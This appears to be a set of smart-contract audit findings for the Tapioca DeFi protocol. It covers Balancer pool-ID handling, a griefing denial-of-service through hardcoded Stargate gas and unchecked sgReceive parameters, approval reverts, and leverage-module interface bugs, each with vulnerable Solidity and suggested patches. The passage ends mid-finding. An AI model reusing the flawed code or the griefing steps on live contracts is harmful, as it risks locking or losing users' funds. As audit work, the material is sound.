The `initConnectedOFT` function should enforce the poolIds for the src and dst chains.The rebalance function should just fetch these saved values and use them.\\n```\\n \\n@@ // Remove the line below\\n164,14 // Add the line below\\n176,12 @@ contract Balancer is Ownable {\\n * @param _dstChainId the destination LayerZero id\\n * @param _slippage the destination LayerZero id\\n * @param _amount the rebalanced amount\\n// Remove the line below\\n * @param _ercData custom send data\\n */\\n function rebalance(\\n address payable _srcOft,\\n uint16 _dstChainId,\\n uint256 _slippage,\\n// Remove the line below\\n uint256 _amount,\\n// Remove the line below\\n bytes memory _ercData\\n// Add the line below\\n uint256 _amount\\n ) external payable onlyValidDestination(_srcOft, _dstChainId) onlyValidSlippage(_slippage) {\\n {\\n@@ // Remove the line below\\n188,13 // Add the line below\\n204,13 @@ contract Balancer is Ownable {\\n if (msg.value == 0) revert FeeAmountNotSet();\\n if (_isNative) {\\n if (disableEth) revert SwapNotEnabled();\\n _sendNative(_srcOft, _amount, _dstChainId, _slippage);\\n } else {\\n// Remove the line below\\n _sendToken(_srcOft, _amount, _dstChainId, _slippage, _ercData);\\n// Add the line below\\n _sendToken(_srcOft, _amount, _dstChainId, _slippage);\\n }\\n\\n \\n@@ // Remove the line below\\n221,7 // Add the line below\\n237,7 @@ contract Balancer is Ownable {\\n * @param _dstOft the destination TOFT address\\n * @param _ercData custom send data\\n */\\n// Remove the line below\\n function initConnectedOFT(address _srcOft, uint16 _dstChainId, address _dstOft, bytes memory _ercData)\\n// Add the line below\\n function initConnectedOFT(address _srcOft, uint256 poolId, uint16 _dstChainId, address _dstOft, bytes memory _ercData)\\n external\\n onlyOwner\\n {\\n@@ // Remove the line below\\n231,10 // Add the line below\\n247,8 @@ contract Balancer is Ownable {\\n bool isNative = ITOFT(_srcOft).erc20() == address(0);\\n if (!isNative && _ercData.length == 0) revert PoolInfoRequired();\\n \\n// Remove the line below\\n (uint256 _srcPoolId, uint256 _dstPoolId) = abi.decode(_ercData, (uint256, uint256));\\n// Remove the line below\\n\\n OFTData memory oftData =\\n// Remove the line below\\n OFTData({srcPoolId: _srcPoolId, dstPoolId: _dstPoolId, dstOft: _dstOft, rebalanceable: 0});\\n// Add the line below\\n OFTData({srcPoolId: poolId, dstPoolId: poolId, dstOft: _dstOft, rebalanceable: 0});\\n \\n connectedOFTs[_srcOft][_dstChainId] = oftData;\\n emit ConnectedChainUpdated(_srcOft, _dstChainId, _dstOft);\\n \\n function _sendToken(\\n address payable _oft,\\n uint256 _amount,\\n uint16 _dstChainId,\\n// Remove the line below\\n uint256 _slippage,\\n// Remove the line below\\n bytes memory _data\\n// Add the line below\\n uint256 _slippage\\n ) private {\\n address erc20 = ITOFT(_oft).erc20();\\n if (IERC20Metadata(erc20).balanceOf(address(this)) < _amount) {\\n revert ExceedsBalance();\\n// Remove the line below\\n }\\n// Add the line below\\n }\\n {\\n// Remove the line below\\n (uint256 _srcPoolId, uint256 _dstPoolId) = abi.decode(_data, (uint256, uint256));\\n// Remove the line below\\n _routerSwap(_dstChainId, _srcPoolId, _dstPoolId, _amount, _slippage, _oft, erc20);\\n// Add the line below\\n _routerSwap(_dstChainId, _amount, _slippage, _oft, erc20);\\n }\\n }\\n \\n function _routerSwap(\\n uint16 _dstChainId,\\n// Remove the line below\\n uint256 _srcPoolId,\\n// Remove the line below\\n uint256 _dstPoolId,\\n uint256 _amount,\\n uint256 _slippage,\\n address payable _oft,\\n address _erc20\\n ) private {\\n bytes memory _dst = abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft);\\n// Add the line below\\n uint256 poolId = connectedOFTs[_oft][_dstChainId].srcPoolId;\\n IERC20(_erc20).safeApprove(address(router), _amount);\\n router.swap{value: msg.value}(\\n _dstChainId,\\n// Remove the line below\\n _srcPoolId,\\n// Remove the line below\\n _dstPoolId,\\n// Add the line below\\n poolId,\\n// Add the line below\\n poolId,\\n payable(this),\\n _amount,\\n _computeMinAmount(_amount, _slippage),\\n```\\n\\nAdmin is trusted but you can optionally add additional checks inside the `initConnectedOFT` function to ensure that the poolIds are correct for the src and dst mTOFTs.
The impact of this vulnerability is critical. It allows for locking up wrong tokens inside the mTOFT contract causing irreversible loss of funds.
```\\n## Balancer.sol\\n\\nfunction _sendToken(\\n address payable _oft,\\n uint256 _amount,\\n uint16 _dstChainId,\\n uint256 _slippage,\\n> bytes memory _data\\n ) private {\\n address erc20 = ITOFT(_oft).erc20();\\n if (IERC20Metadata(erc20).balanceOf(address(this)) < _amount) {\\n revert ExceedsBalance();\\n }\\n {\\n> (uint256 _srcPoolId, uint256 _dstPoolId) = abi.decode(_data, (uint256, uint256));\\n _routerSwap(_dstChainId, _srcPoolId, _dstPoolId, _amount, _slippage, _oft, erc20);\\n }\\n }\\n```\\n
Gas parameters for Stargate swap are hardcoded leading to stuck messages
medium
The `dstGasForCall` for transferring erc20s through Stargate is hardcoded to 0 in the `Balancer` contract leading to `sgReceive` not being called during Stargate swap. As a consequence, the `sgReceive` has to be manually called to clear the `cachedSwapLookup` mapping, but this can be DoSed due to the fact that the `mTOFT::sgReceive` doesn't validate any of its parameters. This can be exploited to perform a long-term DoS attack.\\nGas parameters for Stargate\\nStargate Swap allows the caller to specify the:\\n`dstGasForCall` which is the gas amount forwarded while calling the `sgReceive` on the destination contract.\\n`dstNativeAmount` and `dstNativeAddr` which is the amount and address where the native token is sent to.\\nInside the `Balancer.sol` contract, the `dstGasForCall` is hardcoded to 0. The `dstGasForCall` gets forwarded from Stargate `Router` into the Stargate `Bridge` contract.\\n```\\n function swap(\\n uint16 _chainId,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n address payable _refundAddress,\\n Pool.CreditObj memory _c,\\n Pool.SwapObj memory _s,\\n IStargateRouter.lzTxObj memory _lzTxParams, \\n bytes calldata _to,\\n bytes calldata _payload\\n ) external payable onlyRouter {\\n bytes memory payload = abi.encode(TYPE_SWAP_REMOTE, _srcPoolId, _dstPoolId, _lzTxParams.dstGasForCall, _c, _s, _to, _payload);\\n _call(_chainId, TYPE_SWAP_REMOTE, _refundAddress, _lzTxParams, payload);\\n }\\n\\n function _call(\\n uint16 _chainId,\\n uint8 _type,\\n address payable _refundAddress,\\n IStargateRouter.lzTxObj memory _lzTxParams,\\n bytes memory _payload\\n ) internal {\\n bytes memory lzTxParamBuilt = _txParamBuilder(_chainId, _type, _lzTxParams);\\n uint64 nextNonce = layerZeroEndpoint.getOutboundNonce(_chainId, address(this)) + 1;\\n layerZeroEndpoint.send{value: msg.value}(_chainId, bridgeLookup[_chainId], _payload, _refundAddress, address(this), lzTxParamBuilt);\\n emit SendMsg(_type, nextNonce);\\n }\\n```\\n\\nIt gets encoded inside the payload that is sent through the LayerZero message. The payload gets decoded inside the `Bridge::lzReceive` on destination chain. And `dstGasForCall` is forwarded to the `sgReceive` function:\\n```\\n## Bridge.sol\\n\\n function lzReceive(\\n uint16 _srcChainId,\\n bytes memory _srcAddress,\\n uint64 _nonce,\\n bytes memory _payload\\n ) external override {\\n if (functionType == TYPE_SWAP_REMOTE) {\\n (\\n ,\\n uint256 srcPoolId,\\n uint256 dstPoolId,\\n> uint256 dstGasForCall,\\n Pool.CreditObj memory c,\\n Pool.SwapObj memory s,\\n bytes memory to,\\n bytes memory payload\\n ) = abi.decode(_payload, (uint8, uint256, uint256, uint256, Pool.CreditObj, Pool.SwapObj, bytes, bytes));\\n```\\n\\nIf it is zero like in the `Balancer.sol` contract or its value is too small the `sgReceive` will fail, but the payload will be saved in the `cachedSwapLookup` mapping. At the same time the tokens are transferred to the destination contract, which is the `mTOFT`. Now anyone can call the `sgReceive` manually through the `clearCachedSwap` function:\\n```\\n function clearCachedSwap(\\n uint16 _srcChainId,\\n bytes calldata _srcAddress,\\n uint256 _nonce\\n ) external {\\n CachedSwap memory cs = cachedSwapLookup[_srcChainId][_srcAddress][_nonce];\\n require(cs.to != address(0x0), "Stargate: cache already cleared");\\n // clear the data\\n cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(address(0x0), 0, address(0x0), "");\\n IStargateReceiver(cs.to).sgReceive(_srcChainId, _srcAddress, _nonce, cs.token, cs.amountLD, cs.payload);\\n }\\n```\\n\\nAlthough not the intended behavior there seems to be no issue with erc20 token sitting on the `mTOFT` contract for a shorter period of time.\\nsgReceive\\nThis leads to the second issue. The `sgReceive` function interface specifies the `chainId`, `srcAddress`, and `token`.\\nIn the current implementation, the `sgReceive` function doesn't check any of these parameters. In practice this means that anyone can specify the `mTOFT` address as the receiver and initiate Stargate Swap from any chain to the `mTOFT` contract.\\nIn conjunction with the first issue, this opens up the possibility of a DoS attack.\\nLet's imagine the following scenario:\\nRebalancing operation needs to be performed between `mTOFT` on Ethereum and Avalanche that hold `USDC` as the underlying token.\\nRebalancing is initiated from Ethereum but the `sgReceive` on Avalanche fails and 1000 USDCs are sitting on `mTOFT` contract on Avalanche.\\nA griever noticed this and initiated Stargate swap from Ethereum to Avalanche for 1 `USDT` specifying the `mTOFT` contract as the receiver.\\nThis is successful and now `mTOFT` has 1 `USDT` but 999 `USDC` as the griever's transaction has called the `sgRecieve` function that pushed 1 `USDC` to the `TOFTVault`.\\nAs a consequence, the `clearCachedSwap` function fails because it tries to transfer the original 1000 `USDC`.\\n```\\n function sgReceive(uint16, bytes memory, uint256, address, uint256 amountLD, bytes memory) external payable {\\n if (msg.sender != _stargateRouter) revert mTOFT_NotAuthorized();\\n\\n if (erc20 == address(0)) {\\n vault.depositNative{value: amountLD}();\\n } else {\\n> IERC20(erc20).safeTransfer(address(vault), amountLD); // amountLD is the original 1000 USDC\\n }\\n }\\n```\\n\\nThe only solution here is to manually transfer that 1 USDC to the `mTOFT` contract and try calling the `clearCachedSwap` again.\\nThe griever can repeat this process multiple times.
The `dstGasForCall` shouldn't be hardcoded to 0. It should be a configurable value that is set by the admin of the `Balancer` contract.\\nTake into account that this value will be different for different chains.\\nThe recommended solution is:\\n```\\n contract Balancer is Ownable {\\n using SafeERC20 for IERC20;\\n\\n// Add the line below\\n mapping(uint16 => uint256) internal sgReceiveGas;\\n\\n// Add the line below\\n function setSgReceiveGas(uint16 eid, uint256 gas) external onlyOwner {\\n// Add the line below\\n sgReceiveGas[eid] = gas;\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Add the line below\\n function getSgReceiveGas(uint16 eid) internal view returns (uint256) {\\n// Add the line below\\n uint256 gas = sgReceiveGas[eid];\\n// Add the line below\\n if (gas == 0) revert();\\n// Add the line below\\n return gas;\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Remove the line below\\n IStargateRouterBase.lzTxObj({dstGasForCall: 0, dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n// Add the line below\\n IStargateRouterBase.lzTxObj({dstGasForCall: getSgReceiveGas(_dstChainId), dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n```\\n
Hardcoding the `dstGasCall` to 0 in conjuction with not checking the `sgReceive` parameters opens up the possibility of a long-term DoS attack.
```\\n function swap(\\n uint16 _chainId,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n address payable _refundAddress,\\n Pool.CreditObj memory _c,\\n Pool.SwapObj memory _s,\\n IStargateRouter.lzTxObj memory _lzTxParams, \\n bytes calldata _to,\\n bytes calldata _payload\\n ) external payable onlyRouter {\\n bytes memory payload = abi.encode(TYPE_SWAP_REMOTE, _srcPoolId, _dstPoolId, _lzTxParams.dstGasForCall, _c, _s, _to, _payload);\\n _call(_chainId, TYPE_SWAP_REMOTE, _refundAddress, _lzTxParams, payload);\\n }\\n\\n function _call(\\n uint16 _chainId,\\n uint8 _type,\\n address payable _refundAddress,\\n IStargateRouter.lzTxObj memory _lzTxParams,\\n bytes memory _payload\\n ) internal {\\n bytes memory lzTxParamBuilt = _txParamBuilder(_chainId, _type, _lzTxParams);\\n uint64 nextNonce = layerZeroEndpoint.getOutboundNonce(_chainId, address(this)) + 1;\\n layerZeroEndpoint.send{value: msg.value}(_chainId, bridgeLookup[_chainId], _payload, _refundAddress, address(this), lzTxParamBuilt);\\n emit SendMsg(_type, nextNonce);\\n }\\n```\\n
`getCollateral` and `getAsset` functions of the AssetTotsDaiLeverageExecutor contract decode data incorrectly
medium
See vulnerability detail\\nIn AssetTotsDaiLeverageExecutor contract, `getCollateral` function decodes the data before passing it to `_swapAndTransferToSender` function.\\n```\\nSLeverageSwapData memory swapData = abi.decode(data, (SLeverageSwapData));\\nuint256 daiAmount =\\n _swapAndTransferToSender(false, assetAddress, daiAddress, assetAmountIn, swapData.swapperData);\\n```\\n\\nHowever, `_swapAndTransferToSender` will decode this data again to obtain the swapperData:\\n```\\nfunction _swapAndTransferToSender(\\n bool sendBack,\\n address tokenIn,\\n address tokenOut,\\n uint256 amountIn,\\n bytes memory data\\n) internal returns (uint256 amountOut) {\\n SLeverageSwapData memory swapData = abi.decode(data, (SLeverageSwapData));\\n // rest of code\\n```\\n\\nThe redundant decoding will cause the data to not align as expected, which is different from `SimpleLeverageExecutor.getCollateral()` function (code snippet)
The AssetTotsDaiLeverageExecutor contract should pass data directly to `_swapAndTransferToSender`, similar to the SimpleLeverageExecutor contract
`getCollateral` and `getAsset` of AssetTotsDaiLeverageExecutor will not work as intended due to incorrectly decoding data.
```\\nSLeverageSwapData memory swapData = abi.decode(data, (SLeverageSwapData));\\nuint256 daiAmount =\\n _swapAndTransferToSender(false, assetAddress, daiAddress, assetAmountIn, swapData.swapperData);\\n```\\n
Balancer using safeApprove may lead to revert.
medium
When executing `Balancer._routerSwap()`, the `oz` `safeApprove` function is used to set an allowance. Due to the presence of the `convertRate` in the `router`, `Balancer._routerSwap()` rounds down the incoming quantity. This behavior may result in the allowance not being fully use, causing a subsequent execution of `oz.safeApprove()` to revert.\\nThe code snippet for `Balancer._routerSwap()` is as follows:\\n```\\n function _routerSwap(\\n uint16 _dstChainId,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n uint256 _amount,\\n uint256 _slippage,\\n address payable _oft,\\n address _erc20\\n ) private {\\n bytes memory _dst = abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft);\\n IERC20(_erc20).safeApprove(address(router), _amount);\\n router.swap{value: msg.value}(\\n _dstChainId,\\n _srcPoolId,\\n _dstPoolId,\\n payable(this),\\n _amount,\\n _computeMinAmount(_amount, _slippage),\\n IStargateRouterBase.lzTxObj({dstGasForCall: 0, dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n _dst,\\n "0x"\\n );\\n }\\n```\\n\\nIn the above code, `SafeERC20.safeApprove()` from the `oz` library is used, but the allowance is not cleared afterward. Consequently, if the current allowance is not fully use during this transaction, a subsequent execution of `SafeERC20.safeApprove()` will revert.\\n```\\n function swap(\\n uint16 _dstChainId,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n address payable _refundAddress,\\n uint256 _amountLD,\\n uint256 _minAmountLD,\\n lzTxObj memory _lzTxParams,\\n bytes calldata _to,\\n bytes calldata _payload\\n ) external payable override nonReentrant {\\n require(_amountLD > 0, "Stargate: cannot swap 0");\\n require(_refundAddress != address(0x0), "Stargate: _refundAddress cannot be 0x0");\\n Pool.SwapObj memory s;\\n Pool.CreditObj memory c;\\n {\\n Pool pool = _getPool(_srcPoolId);\\n {\\n uint256 convertRate = pool.convertRate();\\n _amountLD = _amountLD.div(convertRate).mul(convertRate);\\n }\\n\\n s = pool.swap(_dstChainId, _dstPoolId, msg.sender, _amountLD, _minAmountLD, true);\\n _safeTransferFrom(pool.token(), msg.sender, address(pool), _amountLD);\\n c = pool.sendCredits(_dstChainId, _dstPoolId);\\n }\\n bridge.swap{value: msg.value}(_dstChainId, _srcPoolId, _dstPoolId, _refundAddress, c, s, _lzTxParams, _to, _payload);\\n }\\n```\\n
```\\n function _routerSwap(\\n uint16 _dstChainId,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n uint256 _amount,\\n uint256 _slippage,\\n address payable _oft,\\n address _erc20\\n ) private {\\n bytes memory _dst = abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft);\\n IERC20(_erc20).safeApprove(address(router), _amount);\\n router.swap{value: msg.value}(\\n _dstChainId,\\n _srcPoolId,\\n _dstPoolId,\\n payable(this),\\n _amount,\\n _computeMinAmount(_amount, _slippage),\\n IStargateRouterBase.lzTxObj({dstGasForCall: 0, dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n _dst,\\n "0x"\\n );\\n// Add the line below\\n IERC20(_erc20).safeApprove(address(router), 0);\\n```\\n
Unused allowance may lead to failure in subsequent `_routerSwap()` executions.
```\\n function _routerSwap(\\n uint16 _dstChainId,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n uint256 _amount,\\n uint256 _slippage,\\n address payable _oft,\\n address _erc20\\n ) private {\\n bytes memory _dst = abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft);\\n IERC20(_erc20).safeApprove(address(router), _amount);\\n router.swap{value: msg.value}(\\n _dstChainId,\\n _srcPoolId,\\n _dstPoolId,\\n payable(this),\\n _amount,\\n _computeMinAmount(_amount, _slippage),\\n IStargateRouterBase.lzTxObj({dstGasForCall: 0, dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n _dst,\\n "0x"\\n );\\n }\\n```\\n
buyCollateral() does not work properly
medium
The `BBLeverage.buyCollateral()` function does not work as expected.\\nThe implementation of `BBLeverage.buyCollateral()` is as follows:\\n```\\n function buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data)\\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from)\\n returns (uint256 amountOut)\\n {\\n if (address(leverageExecutor) == address(0)) {\\n revert LeverageExecutorNotValid();\\n }\\n\\n // Stack too deep fix\\n _BuyCollateralCalldata memory calldata_;\\n _BuyCollateralMemoryData memory memoryData;\\n {\\n calldata_.from = from;\\n calldata_.borrowAmount = borrowAmount;\\n calldata_.supplyAmount = supplyAmount;\\n calldata_.data = data;\\n }\\n\\n {\\n uint256 supplyShare = yieldBox.toShare(assetId, calldata_.supplyAmount, true);\\n if (supplyShare > 0) {\\n (memoryData.supplyShareToAmount,) =\\n yieldBox.withdraw(assetId, calldata_.from, address(leverageExecutor), 0, supplyShare);\\n }\\n }\\n\\n {\\n (, uint256 borrowShare) = _borrow(\\n calldata_.from,\\n address(this),\\n calldata_.borrowAmount,\\n _computeVariableOpeningFee(calldata_.borrowAmount)\\n );\\n (memoryData.borrowShareToAmount,) =\\n yieldBox.withdraw(assetId, address(this), address(leverageExecutor), 0, borrowShare);\\n }\\n {\\n amountOut = leverageExecutor.getCollateral(\\n collateralId,\\n address(asset),\\n address(collateral),\\n memoryData.supplyShareToAmount + memoryData.borrowShareToAmount,\\n calldata_.from,\\n calldata_.data\\n );\\n }\\n uint256 collateralShare = yieldBox.toShare(collateralId, amountOut, false);\\n address(asset).safeApprove(address(yieldBox), type(uint256).max);\\n yieldBox.depositAsset(collateralId, address(this), address(this), 0, collateralShare); // TODO Check for rounding attack?\\n address(asset).safeApprove(address(yieldBox), 0);\\n\\n if (collateralShare == 0) revert CollateralShareNotValid();\\n _allowedBorrow(calldata_.from, collateralShare);\\n _addCollateral(calldata_.from, calldata_.from, false, 0, collateralShare);\\n }\\n```\\n\\nThe code above has several issues:\\n`leverageExecutor.getCollateral()` receiver should be `address(this)`. ---> for 2th step deposit to YB\\n`address(asset).safeApprove()` should use `address(collateral).safeApprove()`.\\n`yieldBox.depositAsset()` receiver should be `calldata_.from`. ----> for next execute addCollateral(calldata.from)\\nNote: SGLLeverage.sol have same issue
```\\n function buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data)\\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from)\\n returns (uint256 amountOut)\\n {\\n// rest of code.\\n\\n {\\n (, uint256 borrowShare) = _borrow(\\n calldata_.from,\\n address(this),\\n calldata_.borrowAmount,\\n _computeVariableOpeningFee(calldata_.borrowAmount)\\n );\\n (memoryData.borrowShareToAmount,) =\\n yieldBox.withdraw(assetId, address(this), address(leverageExecutor), 0, borrowShare);\\n }\\n {\\n amountOut = leverageExecutor.getCollateral(\\n collateralId,\\n address(asset),\\n address(collateral),\\n memoryData.supplyShareToAmount // Add the line below\\n memoryData.borrowShareToAmount,\\n// Remove the line below\\n calldata_.from,\\n// Add the line below\\n address(this),\\n calldata_.data\\n );\\n }\\n uint256 collateralShare = yieldBox.toShare(collateralId, amountOut, false);\\n// Remove the line below\\n address(asset).safeApprove(address(yieldBox), type(uint256).max);\\n// Remove the line below\\n yieldBox.depositAsset(collateralId, address(this), address(this), 0, collateralShare); // TODO Check for rounding attack?\\n// Remove the line below\\n address(asset).safeApprove(address(yieldBox), 0);\\n// Add the line below\\n address(collateral).safeApprove(address(yieldBox), type(uint256).max);\\n// Add the line below\\n yieldBox.depositAsset(collateralId, address(this), calldata_.from, 0, collateralShare);\\n// Add the line below\\n address(collateral).safeApprove(address(yieldBox), 0);\\n\\n if (collateralShare == 0) revert CollateralShareNotValid();\\n _allowedBorrow(calldata_.from, collateralShare);\\n _addCollateral(calldata_.from, calldata_.from, false, 0, collateralShare);\\n }\\n```\\n
`buyCollateral()` does not work properly.
```\\n function buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data)\\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from)\\n returns (uint256 amountOut)\\n {\\n if (address(leverageExecutor) == address(0)) {\\n revert LeverageExecutorNotValid();\\n }\\n\\n // Stack too deep fix\\n _BuyCollateralCalldata memory calldata_;\\n _BuyCollateralMemoryData memory memoryData;\\n {\\n calldata_.from = from;\\n calldata_.borrowAmount = borrowAmount;\\n calldata_.supplyAmount = supplyAmount;\\n calldata_.data = data;\\n }\\n\\n {\\n uint256 supplyShare = yieldBox.toShare(assetId, calldata_.supplyAmount, true);\\n if (supplyShare > 0) {\\n (memoryData.supplyShareToAmount,) =\\n yieldBox.withdraw(assetId, calldata_.from, address(leverageExecutor), 0, supplyShare);\\n }\\n }\\n\\n {\\n (, uint256 borrowShare) = _borrow(\\n calldata_.from,\\n address(this),\\n calldata_.borrowAmount,\\n _computeVariableOpeningFee(calldata_.borrowAmount)\\n );\\n (memoryData.borrowShareToAmount,) =\\n yieldBox.withdraw(assetId, address(this), address(leverageExecutor), 0, borrowShare);\\n }\\n {\\n amountOut = leverageExecutor.getCollateral(\\n collateralId,\\n address(asset),\\n address(collateral),\\n memoryData.supplyShareToAmount + memoryData.borrowShareToAmount,\\n calldata_.from,\\n calldata_.data\\n );\\n }\\n uint256 collateralShare = yieldBox.toShare(collateralId, amountOut, false);\\n address(asset).safeApprove(address(yieldBox), type(uint256).max);\\n yieldBox.depositAsset(collateralId, address(this), address(this), 0, collateralShare); // TODO Check for rounding attack?\\n address(asset).safeApprove(address(yieldBox), 0);\\n\\n if (collateralShare == 0) revert CollateralShareNotValid();\\n _allowedBorrow(calldata_.from, collateralShare);\\n _addCollateral(calldata_.from, calldata_.from, false, 0, collateralShare);\\n }\\n```\\n
DoS in BBLeverage and SGLLeverage due to using wrong leverage executor interface
medium
A DoS takes place due to utilizing a wrong interface in the leverage modules.\\n`BBLeverage.sol` and `SGLLeverage.sol` use a wrong interface to interact with the `leverageExecutor` contract. This will make the `sellCollateral()` and `buyCollateral()` functions always fail and render the `BBLeverage.sol` and `SGLLeverage.sol` unusable.\\nAs we can see in the following snippets, when these contracts interact with the `leverageExecutor` to call its `getAsset()` and `getCollateral()` functions, they do it passing 6 parameters in each of the functions:\\n```\\n// BBLeverage.sol\\n\\nfunction buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data) \\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from) \\n returns (uint256 amountOut) \\n { \\n // rest of code\\n\\n \\n { \\n amountOut = leverageExecutor.getCollateral( \\n collateralId, \\n address(asset),\\n address(collateral),\\n memoryData.supplyShareToAmount + memoryData.borrowShareToAmount,\\n calldata_.from,\\n calldata_.data\\n );\\n }\\n // rest of code\\n }\\n \\n function sellCollateral(address from, uint256 share, bytes calldata data)\\n external\\n optionNotPaused(PauseType.LeverageSell)\\n solvent(from, false)\\n notSelf(from)\\n returns (uint256 amountOut)\\n {\\n // rest of code\\n\\n amountOut = leverageExecutor.getAsset(\\n assetId, address(collateral), address(asset), memoryData.leverageAmount, from, data\\n ); \\n\\n // rest of code\\n } \\n```\\n\\nHowever, the leverage executor's `getAsset()` and `getCollateral()` functions have just 4 parameters, as seen in the `BaseLeverageExecutor.sol` base contract used to build all leverage executors:\\n```\\n// BaseLeverageExecutor.sol\\n\\n/**\\n * @notice Buys an asked amount of collateral with an asset using the ZeroXSwapper.\\n * @dev Expects the token to be already transferred to this contract.\\n * @param assetAddress asset address.\\n * @param collateralAddress collateral address.\\n * @param assetAmountIn amount to swap.\\n * @param data SLeverageSwapData.\\n */\\n function getCollateral(address assetAddress, address collateralAddress, uint256 assetAmountIn, bytes calldata data)\\n external\\n payable\\n virtual\\n returns (uint256 collateralAmountOut)\\n {}\\n\\n /**\\n * @notice Buys an asked amount of asset with a collateral using the ZeroXSwapper.\\n * @dev Expects the token to be already transferred to this contract.\\n * @param collateralAddress collateral address.\\n * @param assetAddress asset address.\\n * @param collateralAmountIn amount to swap.\\n * @param data SLeverageSwapData.\\n */\\n function getAsset(address collateralAddress, address assetAddress, uint256 collateralAmountIn, bytes calldata data)\\n external\\n virtual\\n returns (uint256 assetAmountOut)\\n {}\\n```\\n
Update the interface used in BBLeverage.sol and SGLLeverage.sol and pass the proper parameters so that calls can succeed.
High. Calls to the leverage modules will always fail, rendering these features unusable.
```\\n// BBLeverage.sol\\n\\nfunction buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data) \\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from) \\n returns (uint256 amountOut) \\n { \\n // rest of code\\n\\n \\n { \\n amountOut = leverageExecutor.getCollateral( \\n collateralId, \\n address(asset),\\n address(collateral),\\n memoryData.supplyShareToAmount + memoryData.borrowShareToAmount,\\n calldata_.from,\\n calldata_.data\\n );\\n }\\n // rest of code\\n }\\n \\n function sellCollateral(address from, uint256 share, bytes calldata data)\\n external\\n optionNotPaused(PauseType.LeverageSell)\\n solvent(from, false)\\n notSelf(from)\\n returns (uint256 amountOut)\\n {\\n // rest of code\\n\\n amountOut = leverageExecutor.getAsset(\\n assetId, address(collateral), address(asset), memoryData.leverageAmount, from, data\\n ); \\n\\n // rest of code\\n } \\n```\\n
Variable opening fee will always be wrongly computed if collateral is not a stablecoin
medium
Borrowing fees will be computed wrongly because of a combination of hardcoded values and a wrongly implemented setter function.\\nTapioca applies a linearly scaling creation fee to open a new CDP in Big Bang markets. This is done via the internal `_computeVariableOpeningFee()` function every time a new borrow is performed.\\nIn order to compute the variable fee, the exchange rate will be queried. This rate is important in order to understand the current price of USDO related to the collateral asset.\\nIf `_exchangeRate >= minMintFeeStart`, then `minMintFee` will be applied.\\nIf `_exchangeRate <= maxMintFeeStart`, then `maxMintFee` will be applied\\nOtherwise, a proportional percentage will be applied to compue the fee\\nAs per the comment in the code snippet shows below, Tapioca wrongly assumes that the exchange rate will always be `USDO <> USDC`, when in reality the actual collateral will dictate the exchange rate returned.\\nIt is also important to note the fact that contrary to what one would assume, `maxMintFeeStart` is assumed to be smaller than `minMintFeeStart` in order to perform the calculations:\\n```\\n// BBLendingCommon.sol\\n\\nfunction _computeVariableOpeningFee(uint256 amount) internal returns (uint256) {\\n if (amount == 0) return 0; \\n \\n //get asset <> USDC price ( USDO <> USDC ) \\n (bool updated, uint256 _exchangeRate) = assetOracle.get(oracleData); \\n if (!updated) revert OracleCallFailed();\\n \\n if (_exchangeRate >= minMintFeeStart) { \\n return (amount * minMintFee) / FEE_PRECISION;\\n }\\n if (_exchangeRate <= maxMintFeeStart) { \\n return (amount * maxMintFee) / FEE_PRECISION;\\n }\\n \\n uint256 fee = maxMintFee\\n - (((_exchangeRate - maxMintFeeStart) * (maxMintFee - minMintFee)) / (minMintFeeStart - maxMintFeeStart)); \\n \\n if (fee > maxMintFee) return (amount * maxMintFee) / FEE_PRECISION;\\n if (fee < minMintFee) return (amount * minMintFee) / FEE_PRECISION;\\n\\n if (fee > 0) {\\n return (amount * fee) / FEE_PRECISION;\\n }\\n return 0;\\n }\\n```\\n\\nIt is also important to note that `minMintFeeStart` and `maxMintFeeStart` are hardcoded when being initialized inside `BigBang.sol` (as mentioned, `maxMintFeeStart` is smaller than minMintFeeStart):\\n```\\n// BigBang.sol\\n\\nfunction _initCoreStorage(\\n IPenrose _penrose,\\n IERC20 _collateral,\\n uint256 _collateralId,\\n ITapiocaOracle _oracle,\\n uint256 _exchangeRatePrecision,\\n uint256 _collateralizationRate,\\n uint256 _liquidationCollateralizationRate,\\n ILeverageExecutor _leverageExecutor\\n ) private {\\n // rest of code\\n \\n maxMintFeeStart = 975000000000000000; // 0.975 *1e18\\n minMintFeeStart = 1000000000000000000; // 1*1e18\\n\\n // rest of code\\n } \\n```\\n\\nWhile the values hardcoded initially to values that are coherent for a USDO <> stablecoin exchange rate, these values won't make sense if we find ourselves fetching an exchcange rate of an asset not stable.\\nLet's say the collateral asset is ETH. If ETH is at 4000$, then the exchange rate will return a value of 0,00025. This will make the computation inside `_computeVariableOpeningFee()` always apply the maximum fee when borrowing because `_exchangeRate` is always smaller than `maxMintFeeStart` by default.\\nAlthough this has an easy fix (changing the values stored in `maxMintFeeStart` and minMintFeeStart), this can't be properly done because the `setMinAndMaxMintRange()` function wrongly assumes that `minMintFeeStart` must be smaller than `maxMintFeeStart` (against what the actual calculations dictate in the 